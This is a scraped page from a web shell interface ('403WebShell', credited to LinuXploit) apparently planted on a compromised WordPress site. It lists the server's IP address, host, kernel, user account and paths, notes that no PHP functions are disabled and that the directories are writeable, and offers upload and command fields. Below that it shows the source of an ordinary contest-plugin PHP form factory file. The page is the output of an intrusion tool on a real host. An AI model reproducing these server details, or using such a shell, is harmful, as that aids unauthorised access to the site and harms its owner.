Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.191.171.121
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalcontest-lite/src/Form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalcontest-lite/src/Form/Factory.php
<?php

namespace TotalContest\Form;

use TotalContestVendors\TotalCore\Contracts\Http\Request;

class Factory implements \TotalContest\Contracts\Form\Factory
{

    protected $map = [
        'form'             => '\TotalContestVendors\TotalCore\Form\Form',
        'form.participate' => '\TotalContest\Form\ParticipateForm',
        'form.vote'        => '\TotalContest\Form\VoteForm',
        'form.rate'        => '\TotalContest\Form\RateForm',
        'page'             => '\TotalContestVendors\TotalCore\Form\Page',
        'text'             => '\TotalContestVendors\TotalCore\Form\Fields\TextField',
        'captcha'          => '\TotalContestVendors\TotalCore\Form\Fields\CaptchaField',
        'textarea'         => '\TotalContestVendors\TotalCore\Form\Fields\TextareaField',
        'checkbox'         => '\TotalContestVendors\TotalCore\Form\Fields\CheckboxField',
        'radio'            => '\TotalContestVendors\TotalCore\Form\Fields\RadioField',
        'select'           => '\TotalContestVendors\TotalCore\Form\Fields\SelectField',
        'file'             => '\TotalContestVendors\TotalCore\Form\Fields\FileField',
        'category'         => '\TotalContest\Form\Fields\CategoryField',
        'image'            => '\TotalContest\Form\Fields\ImageField',
        'video'            => '\TotalContest\Form\Fields\VideoField',
        'audio'            => '\TotalContest\Form\Fields\AudioField',
        'richtext'         => '\TotalContest\Form\Fields\RichTextField',
        'embed'            => '\TotalContest\Form\Fields\EmbedField',
        'number'           => '\TotalContestVendors\TotalCore\Form\Fields\NumberField'
    ];

    protected $request;

    public function __construct(Request $request)
    {
        $this->request = $request;
    }

    public function makeForm()
    {
        return new $this->map['form'];
    }

    public function makeParticipateForm($contest)
    {
        return new $this->map['form.participate']($contest, $this->request, $this);
    }

    public function makeVoteForm($submission)
    {
        return new $this->map['form.vote']($submission, $this->request, $this);
    }

    public function makeRateForm($submission)
    {
        return new $this->map['form.rate']($submission, $this->request, $this);
    }

    public function makePage()
    {
        return new $this->map['page'];
    }

    public function makeCaptchaField()
    {
        return new $this->map['captcha'];
    }

    public function makeTextField()
    {
        return new $this->map['text'];
    }

    public function makeNumberField()
    {
        return new $this->map['number'];
    }

    public function makeTextareaField()
    {
        return new $this->map['textarea'];
    }

    public function makeCheckboxField()
    {
        return new $this->map['checkbox'];
    }

    public function makeRadioField()
    {
        return new $this->map['radio'];
    }

    public function makeSelectField()
    {
        return new $this->map['select'];
    }

    public function makeFileField()
    {
        return new $this->map['file'];
    }

    public function makeImageField()
    {
        return new $this->map['image'];
    }

    public function makeVideoField()
    {
        return new $this->map['video'];
    }

    public function makeAudioField()
    {
        return new $this->map['audio'];
    }

    public function makeCategoryField()
    {
        return new $this->map['category'];
    }

    public function makeRichtextField()
    {
        return new $this->map['richtext'];
    }

    public function makeEmbedField()
    {
        return new $this->map['embed'];
    }

    public function setForm($className)
    {
        $this->map['form'] = (string)$className;
    }

    public function setParticipateForm($className)
    {
        $this->map['form.participate'] = (string)$className;
    }

    public function setVoteForm($className)
    {
        $this->map['form.vote'] = (string)$className;
    }

    public function setRateForm($className)
    {
        $this->map['form.vote'] = (string)$className;
    }

    public function setPage($className)
    {
        $this->map['page'] = (string)$className;
    }

    public function setTextField($className)
    {
        $this->map['text'] = (string)$className;
    }

    public function setNumberField($className)
    {
        $this->map['number'] = (string)$className;
    }

    public function setTextareaField($className)
    {
        $this->map['textarea'] = (string)$className;
    }

    public function setCheckboxField($className)
    {
        $this->map['checkbox'] = (string)$className;
    }

    public function setRadioField($className)
    {
        $this->map['radio'] = (string)$className;
    }

    public function setSelectField($className)
    {
        $this->map['select'] = (string)$className;
    }

    public function setFileField($className)
    {
        $this->map['file'] = (string)$className;
    }

    public function setRichtextField($className)
    {
        $this->map['richtext'] = (string)$className;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit